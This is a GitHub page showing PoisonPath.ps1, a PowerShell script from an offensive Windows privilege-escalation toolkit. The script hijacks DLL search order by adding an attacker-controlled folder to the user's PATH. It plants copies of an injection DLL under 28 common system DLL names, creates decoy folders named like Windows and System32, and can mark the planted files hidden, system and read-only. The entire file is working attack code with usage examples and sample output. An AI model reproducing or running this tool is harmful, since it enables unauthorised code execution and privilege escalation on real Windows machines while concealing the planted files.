-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathPoisonPath.ps1
More file actions
252 lines (200 loc) · 6.68 KB
/
Copy pathPoisonPath.ps1
File metadata and controls
252 lines (200 loc) · 6.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
<#
PoisonPath.ps1
A component of Windows 7.x, 8.x, and 10.x Local Elevation of Attacker's Privileges Toolkit (#LEAPKit)
by Greg Linares (@Laughing_Mantis) of Cyberpoint SRT
Poison Path is a simple script which will add a controlled folder to a user's
PATH variable in order to hijack potential DLL Search Order vulnerabilities.
This is a simple yet still a viable method to target applications who utilize insecure LoadLibraryEx calls
and should be used prior to exploiting DLL path issues.
Current Version DLL Brute Force List:
VERSION.DLL,
imageres.dll,
msTracer.dll,
msfte.dll,
bcrypt.dll,
urlmon.dll,
SensApi.dll,
dbghelp.dll,
dbgcore.DLL,
USERENV.DLL,
MSIMG32.DLL,
RASAPI32.DLL,
dwrite.dll,
wow64log.dll,
tv_x64.dll,
OLEACC.dll,
OLEACCRC.dll,
DUI70.dll,
dwmapi.dll,
WINSTA.dll,
msvcp110.dll,
iertutil.dll,
PROPSYS.dll,
SspiCli.dll,
WINMM.dll,
WTSAPI32.dll,
Bcp47Langs.dll,
wincorlib.DLL
Usage:
Example 1: PoisonPath.ps1 -SHOW
This will display the current user's PATH variables and does not modify the variable.
Example 2: PoisonPath.ps1 -PATH C:\Tools\LEAP\bin
This will append the current user's PATH variable with the path "C:\Tools\LEAP\bin\"
Example 3: PoisonPath.ps1 -PATH C:\Tools\LEAP\bin -BRUTE -DLL C:\Tools\LEAP\bin\LEAPInject.dll
This will attempt to brute force a DLL hijack by abusing commonly requested DLL names and
creating a PATH variable folder containg these DLL files. This is achieved by placing
a copy of LEAPInject.dll for each DLL name listed in the DLL Brute Force List into
the PATH variable.
Users can update this list with additional DLL files as they see fit in order to expand
capabilities of this tool kit.
Example 4: PoisonPath.ps1 -PATH C:\Tools\LEAP\bin -BRUTE -HIDDEN -DLL C:\Tools\LEAP\BIN\LEAPInject.dll
As Above, however the brute forced DLL files will be assigned the HIDDEN, SYSTEM, &
READONLY attributes.
Example 5: PoisonPath.ps1 -BRUTE -BADNAMES -HIDDEN -DLL C:\Tools\LEAP\bin\LEAPInject.dll
This will attempt to trigger a DLL Hijack by creating a PATH entry of C:\Tools\LEAP\bin\ as well as
creating subfolders designed to take advantage of malformed folders searched via bad parsing code + DLLSearchOrder
examples of these folders are as follows:
-%PATH%\Windows\
-%PATH%\C\Windows\
-%PATH%\Windows\System32\
-%PATH%\C\Windows\System32\
-%PATH%\System32\
Resulting in Output similar to:
Creating Malformed Named Folders to attempt to Hijack DLLSearchOrder
Created Folder: C:\tools\LEAP\bin\C
Created Folder: C:\tools\LEAP\bin\WINDOWS
Created Folder: C:\tools\LEAP\bin\SYSTEM32
Created Folder: C:\tools\LEAP\bin\C\WINDOWS
Created Folder: C:\tools\LEAP\bin\C\WINDOWS\SYSTEM32
Attempting Brute Force DLL Hijacking...
Planting VERSION.DLL in C:\tools\LEAP\bin\
Planting VERSION.DLL in C:\tools\LEAP\bin\C
Planting VERSION.DLL in C:\tools\LEAP\bin\WINDOWS
Planting VERSION.DLL in C:\tools\LEAP\bin\SYSTEM32
Planting VERSION.DLL in C:\tools\LEAP\bin\C\WINDOWS
Planting VERSION.DLL in C:\tools\LEAP\bin\C\WINDOWS\SYSTEM32
...
#>
Param
(
[Parameter(ValueFromPipelineByPropertyName = $true)]
[ValidateScript({
if(!(Test-Path $_ -PathType Container))
{
throw "Input folder doesn't exist: $_"
}
$true
})]
[ValidateNotNullOrEmpty()]
[string]$Path = $((Get-Location -PSProvider FileSystem).Path + "\bin\"),
[Parameter(ValueFromPipelineByPropertyName = $true)]
[switch]$BRUTE,
[Parameter(ValueFromPipelineByPropertyName = $true)]
[switch]$HIDDEN,
[Parameter(ValueFromPipelineByPropertyName = $true)]
[switch]$BADNAMES,
[Parameter(ValueFromPipelineByPropertyName = $true)]
[string]$DLL = "",
[Parameter(ValueFromPipelineByPropertyName = $true)]
[switch]$Show
)
$DLLs = @("VERSION.DLL",
"imageres.dll",
"msTracer.dll",
"msfte.dll",
"bcrypt.dll",
"urlmon.dll",
"SensApi.dll",
"dbghelp.dll",
"dbgcore.DLL",
"USERENV.DLL",
"MSIMG32.DLL",
"RASAPI32.DLL",
"dwrite.dll",
"wow64log.dll",
"tv_x64.dll",
"OLEACC.dll",
"OLEACCRC.dll",
"DUI70.dll",
"dwmapi.dll",
"WINSTA.dll",
"msvcp110.dll",
"iertutil.dll",
"PROPSYS.dll",
"SspiCli.dll",
"WINMM.dll",
"WTSAPI32.dll",
"Bcp47Langs.dll",
"wincorlib.DLL")
$BADDIRs = @("C",
"WINDOWS",
"WINDOWS\SYSTEM32",
"SYSTEM32",
"C\WINDOWS",
"C\WINDOWS\SYSTEM32")
$PathEnv = [Environment]::GetEnvironmentVariable("Path")
if ($Show)
{
Write-Host "The current PATH Environment Variable is: $PathEnv" -ForegroundColor Green
exit
}
if (!(Test-Path $Path -PathType Container))
{
throw "Fatal Error: The specified folder: $Path does not exist"
}
if ($DLL.Length -eq 0)
{
$DLL = $(Split-Path $MyInvocation.MyCommand.Path -Parent) + "\bin\LEAPInject.dll"
}
if (!(Test-Path $DLL))
{
throw "Fatal Error: The specified file: $DLL does not exist."
}
if ($BADNAMES)
{
Write-Host "Creating Malformed Named Folders to attempt to Hijack DLLSearchOrder" -ForegroundColor Red
foreach ($BADDIR in $BADDIRs)
{
New-Item -ItemType directory -Path $($Path + $BADDIR) -Force | Out-Null
Write-Host "Created Folder: $($Path + $BADDIR)" -ForegroundColor Green
}
}
if ($BRUTE)
{
Write-Host "Attempting Brute Force DLL Hijacking..." -ForegroundColor Red
foreach ($dllfile in $DLLs)
{
Write-Host "Planting $dllfile in $Path" -ForegroundColor Green
Copy-Item $DLL $($Path + "\" + $dllfile) -Force
if ($HIDDEN)
{
$hidefile = Get-Item $($Path + "\" + $dllfile) -Force
$hidefile.Attributes = "Hidden", "System", "ReadOnly"
}
if ($BADNAMES)
{
foreach ($BADDIR in $BADDIRs)
{
Write-Host "Planting $dllfile in $($Path + $BADDIR)" -ForegroundColor Green
Copy-Item $DLL $($Path + "\" + $BADDIR + "\" + $dllfile) -Force
if ($HIDDEN)
{
$hidefile = Get-Item $($Path + "\" + $BADDIR + $dllfile) -Force
$hidefile.Attributes = "Hidden", "System", "ReadOnly"
}
}
}
}
}
Write-Host "Adding $Path to the PATH Environment variable" -ForegroundColor Red
[Environment]::SetEnvironmentVariable("PATH", $Path + ';' + $PathEnv, "User")
[void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
$objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon
$MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path
$objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath)
$objNotifyIcon.BalloonTipIcon = "Info"
$objNotifyIcon.BalloonTipText = "Hijacked the User's PATH variable.
Confirm with the Control Panel\User Accounts\User Accounts - Change My Env Variables Tab"
$objNotifyIcon.BalloonTipTitle = "LEAP Toolkit"
$objNotifyIcon.Visible = $True
$objNotifyIcon.ShowBalloonTip(8000)